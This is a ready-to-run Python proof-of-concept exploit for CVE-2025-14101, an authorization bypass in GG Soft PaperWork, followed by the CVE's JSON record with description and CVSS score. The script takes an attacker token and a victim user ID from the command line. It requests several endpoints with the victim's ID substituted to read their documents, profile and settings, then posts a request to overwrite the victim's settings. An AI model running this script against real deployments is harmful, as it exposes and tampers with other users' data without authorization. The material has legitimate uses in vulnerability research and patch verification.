CVE-2025-14101

# CVE-2025-14101 PoC - Authorization Bypass in GG Soft PaperWork # This PoC demonstrates the authorization bypass vulnerability import requests import argparse def exploit_authorization_bypass(target_url, attacker_token, target_user_id): """ Exploit authorization bypass through user-controlled key Args: target_url: Base URL of PaperWork application attacker_token: Valid authentication token for attacker account target_user_id: Target user ID to impersonate (victim) """ headers = { 'Authorization': f'Bearer {attacker_token}', 'Content-Type': 'application/json' } # Step 1: Access victim's data by manipulating user_id parameter # The vulnerable endpoint uses client-supplied user_id instead of server-side session vulnerable_endpoints = [ f'{target_url}/api/documents/user_id/{target_user_id}', f'{target_url}/api/profile/user_id/{target_user_id}', f'{target_url}/api/settings/user_id/{target_user_id}' ] for endpoint in vulnerable_endpoints: print(f'[*] Trying endpoint: {endpoint}') response = requests.get(endpoint, headers=headers) if response.status_code == 200: print(f'[+] SUCCESS: Retrieved data from {endpoint}') print(f' Response: {response.text[:200]}...') elif response.status_code == 403: print(f'[-] Blocked: Access denied') else: print(f'[-] Failed: Status {response.status_code}') # Step 2: Modify data belonging to target user modify_payload = { 'user_id': target_user_id, 'action': 'modify_settings', 'new_value': 'malicious_data' } modify_endpoint = f'{target_url}/api/settings/update' print(f'\n[*] Attempting to modify victim data...') response = requests.post(modify_endpoint, json=modify_payload, headers=headers) if response.status_code in [200, 201]: print(f'[+] SUCCESS: Modified data for user {target_user_id}') return response.status_code == 200 if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-14101 Exploit') parser.add_argument('--url', required=True, help='Target URL') parser.add_argument('--token', required=True, help='Attacker token') parser.add_argument('--target', required=True, help='Target user ID') args = parser.parse_args() exploit_authorization_bypass(args.url, args.token, args.target)

{"cve": {"id": "CVE-2025-14101", "sourceIdentifier": "[email protected]", "published": "2025-12-17T10:15:39.710", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in GG Soft Software Services Inc. PaperWork allows Exploitation of Trusted Identifiers.This issue affects PaperWork: from 5.2.0.9427 before 6.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0464", "source": "[email protected]"}]}}